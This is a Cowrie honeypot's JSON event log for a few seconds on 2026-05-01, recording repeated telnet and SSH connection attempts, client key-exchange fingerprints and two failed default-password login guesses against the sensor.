{"eventid":"cowrie.session.closed","duration":30.977636575698853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.382564Z","src_ip":"185.111.235.80","session":"527bac6b1995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55612,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24e54d0164c","protocol":"telnet","message":"New connection: 185.111.235.80:55612 (10.17.0.5:23) [session: b24e54d0164c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.431930Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.456927Z","src_ip":"176.65.139.103","session":"92061fecfc3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.708482Z","src_ip":"176.65.139.103","session":"92061fecfc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.0076208114624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.814563Z","src_ip":"185.111.235.80","session":"11863ae25836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65640139579773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:49.960598Z","src_ip":"185.111.235.80","session":"b4ced79947f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73124384880066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:50.014468Z","src_ip":"185.111.235.80","session":"0f1bacefc1fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4847469329834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:50.025411Z","src_ip":"185.111.235.80","session":"1a1088d414de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95636749267578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:50.066859Z","src_ip":"185.111.235.80","session":"d6180ed0dc61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10987949371338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:50.293485Z","src_ip":"185.111.235.80","session":"4377ba7e52a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38868,"dst_ip":"10.17.0.5","dst_port":23,"session":"1247770be146","protocol":"telnet","message":"New connection: 185.111.235.80:38868 (10.17.0.5:23) [session: 1247770be146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:50.785396Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:50.860101Z","src_ip":"176.65.139.103","session":"92061fecfc3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.973344802856445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.076989Z","src_ip":"185.111.235.80","session":"5f300cbc8455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35382,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bff424a7837","protocol":"telnet","message":"New connection: 185.111.235.80:35382 (10.17.0.5:23) [session: 1bff424a7837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.091272Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40782,"dst_ip":"10.17.0.5","dst_port":23,"session":"d39281009c96","protocol":"telnet","message":"New connection: 185.111.235.80:40782 (10.17.0.5:23) [session: d39281009c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.159672Z"}
{"eventid":"cowrie.session.closed","duration":30.55385160446167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.180278Z","src_ip":"185.111.235.80","session":"6071040708a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103679656982422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.197871Z","src_ip":"185.111.235.80","session":"179782eca788","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41214,"dst_ip":"10.17.0.5","dst_port":23,"session":"b60a188a32f8","protocol":"telnet","message":"New connection: 185.111.235.80:41214 (10.17.0.5:23) [session: b60a188a32f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.206586Z"}
{"eventid":"cowrie.session.closed","duration":31.23122262954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.467455Z","src_ip":"185.111.235.80","session":"ba37a29f8d08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42704,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7252a3251dd","protocol":"telnet","message":"New connection: 185.111.235.80:42704 (10.17.0.5:23) [session: c7252a3251dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.522779Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43462,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b17ac9afec3","protocol":"telnet","message":"New connection: 185.111.235.80:43462 (10.17.0.5:23) [session: 5b17ac9afec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.731054Z"}
{"eventid":"cowrie.session.closed","duration":30.754618406295776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.894916Z","src_ip":"185.111.235.80","session":"82c00bb842d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916017055511475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.901625Z","src_ip":"185.111.235.80","session":"b8b926f695c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.321089029312134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.907760Z","src_ip":"185.111.235.80","session":"838e8852fa9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39810,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb52a2e2dda6","protocol":"telnet","message":"New connection: 185.111.235.80:39810 (10.17.0.5:23) [session: fb52a2e2dda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:51.990598Z"}
{"eventid":"cowrie.session.closed","duration":30.76117753982544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:52.047731Z","src_ip":"185.111.235.80","session":"b76f8943c180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46006,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0896f06b1e","protocol":"telnet","message":"New connection: 185.111.235.80:46006 (10.17.0.5:23) [session: ae0896f06b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:52.276555Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40818,"dst_ip":"10.17.0.5","dst_port":23,"session":"0749cd3d52bc","protocol":"telnet","message":"New connection: 108.61.242.114:40818 (10.17.0.5:23) [session: 0749cd3d52bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:52.362821Z"}
{"eventid":"cowrie.session.closed","duration":30.98404335975647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:52.499328Z","src_ip":"185.111.235.80","session":"a6b3a0656ffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161203145980835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:52.634137Z","src_ip":"185.111.235.80","session":"6d699b5ad5fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.554267406463623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:52.791749Z","src_ip":"185.111.235.80","session":"ee10eb231e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585831880569458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:53.006977Z","src_ip":"185.111.235.80","session":"cae722df904a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356009006500244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:53.023205Z","src_ip":"185.111.235.80","session":"9ae4433e52a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44812,"dst_ip":"10.17.0.5","dst_port":23,"session":"77915b2c6b75","protocol":"telnet","message":"New connection: 185.111.235.80:44812 (10.17.0.5:23) [session: 77915b2c6b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:53.064855Z"}
{"eventid":"cowrie.session.closed","duration":30.594687461853027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:53.285368Z","src_ip":"185.111.235.80","session":"47774c4ca664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52294,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfbc2a907017","protocol":"telnet","message":"New connection: 185.111.235.80:52294 (10.17.0.5:23) [session: cfbc2a907017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:53.605488Z"}
{"eventid":"cowrie.session.closed","duration":31.56290864944458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:53.730224Z","src_ip":"185.111.235.80","session":"e8f53ee0ff41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53198,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff06c1d989b","protocol":"telnet","message":"New connection: 185.111.235.80:53198 (10.17.0.5:23) [session: cff06c1d989b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:53.827513Z"}
{"eventid":"cowrie.session.closed","duration":30.53453230857849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.036255Z","src_ip":"185.111.235.80","session":"77e6041586f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40826,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a8d2e40d314","protocol":"telnet","message":"New connection: 108.61.242.114:40826 (10.17.0.5:23) [session: 0a8d2e40d314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.063426Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54760,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d2647423ff6","protocol":"telnet","message":"New connection: 185.111.235.80:54760 (10.17.0.5:23) [session: 3d2647423ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.142822Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55190,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b9dbd27118d","protocol":"telnet","message":"New connection: 185.111.235.80:55190 (10.17.0.5:23) [session: 2b9dbd27118d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.199716Z"}
{"eventid":"cowrie.session.closed","duration":30.662142276763916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.307221Z","src_ip":"185.111.235.80","session":"0e932c3d141d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40836,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2525eb3520e","protocol":"telnet","message":"New connection: 108.61.242.114:40836 (10.17.0.5:23) [session: c2525eb3520e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.329689Z"}
{"eventid":"cowrie.session.closed","duration":31.247697114944458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.505319Z","src_ip":"185.111.235.80","session":"695a14b94ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.584746837615967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.595140Z","src_ip":"185.111.235.80","session":"eecb2e80612d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6936616897583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.902325Z","src_ip":"185.111.235.80","session":"62785a861056","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839967966079712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:54.912892Z","src_ip":"185.111.235.80","session":"fc599270af0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49534,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3d6ecc2d475","protocol":"telnet","message":"New connection: 185.111.235.80:49534 (10.17.0.5:23) [session: f3d6ecc2d475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:55.017983Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44708,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b151802be1","protocol":"telnet","message":"New connection: 185.111.235.80:44708 (10.17.0.5:23) [session: 66b151802be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:55.045414Z"}
{"eventid":"cowrie.session.closed","duration":50.89327096939087,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:55.099549Z","src_ip":"185.111.235.80","session":"f5f7f5db78e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40842,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d78f55aaab","protocol":"telnet","message":"New connection: 108.61.242.114:40842 (10.17.0.5:23) [session: b4d78f55aaab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:55.614894Z"}
{"eventid":"cowrie.session.closed","duration":31.787862300872803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:55.620924Z","src_ip":"185.111.235.80","session":"eabcc2343c64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.777180671691895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:55.819389Z","src_ip":"185.111.235.80","session":"5a95f030fbe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964446306228638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:55.959150Z","src_ip":"185.111.235.80","session":"1bf96ad39514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58950,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2228f0e81d2","protocol":"telnet","message":"New connection: 185.111.235.80:58950 (10.17.0.5:23) [session: c2228f0e81d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.044639Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57006,"dst_ip":"10.17.0.5","dst_port":22,"session":"13061f5e8cb7","protocol":"ssh","message":"New connection: 176.65.139.103:57006 (10.17.0.5:22) [session: 13061f5e8cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.105594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.132536Z","src_ip":"176.65.139.103","session":"13061f5e8cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.241829Z","src_ip":"176.65.139.103","session":"13061f5e8cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.38820266723633,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.371985Z","src_ip":"185.111.235.80","session":"b714739112a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17072319984436,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.410959Z","src_ip":"185.111.235.80","session":"c3734ac81c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069690465927124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.465884Z","src_ip":"185.111.235.80","session":"c242bf252118","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.607208Z","src_ip":"176.65.139.103","session":"13061f5e8cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.860663414001465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.891428Z","src_ip":"185.111.235.80","session":"502f31727f20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14347791671753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.931974Z","src_ip":"185.111.235.80","session":"f98db3d92286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90465807914734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.961734Z","src_ip":"185.111.235.80","session":"fcc8e7f3fc8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884477138519287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:56.988556Z","src_ip":"185.111.235.80","session":"9c21d1a1ae12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66076111793518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:57.033217Z","src_ip":"185.111.235.80","session":"b2be759a1ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39858,"dst_ip":"10.17.0.5","dst_port":23,"session":"c19b3520c0df","protocol":"telnet","message":"New connection: 185.111.235.80:39858 (10.17.0.5:23) [session: c19b3520c0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:57.052427Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40570,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f70f4611230","protocol":"telnet","message":"New connection: 185.111.235.80:40570 (10.17.0.5:23) [session: 8f70f4611230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:57.161796Z"}
{"eventid":"cowrie.session.closed","duration":30.928772687911987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:57.228620Z","src_ip":"117.120.7.112","session":"00f1fbd717de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43060,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e366e7b393","protocol":"telnet","message":"New connection: 185.111.235.80:43060 (10.17.0.5:23) [session: 51e366e7b393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:57.648607Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:57.738668Z","src_ip":"176.65.139.103","session":"13061f5e8cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43634,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeecddc9b1a9","protocol":"telnet","message":"New connection: 185.111.235.80:43634 (10.17.0.5:23) [session: aeecddc9b1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:57.814145Z"}
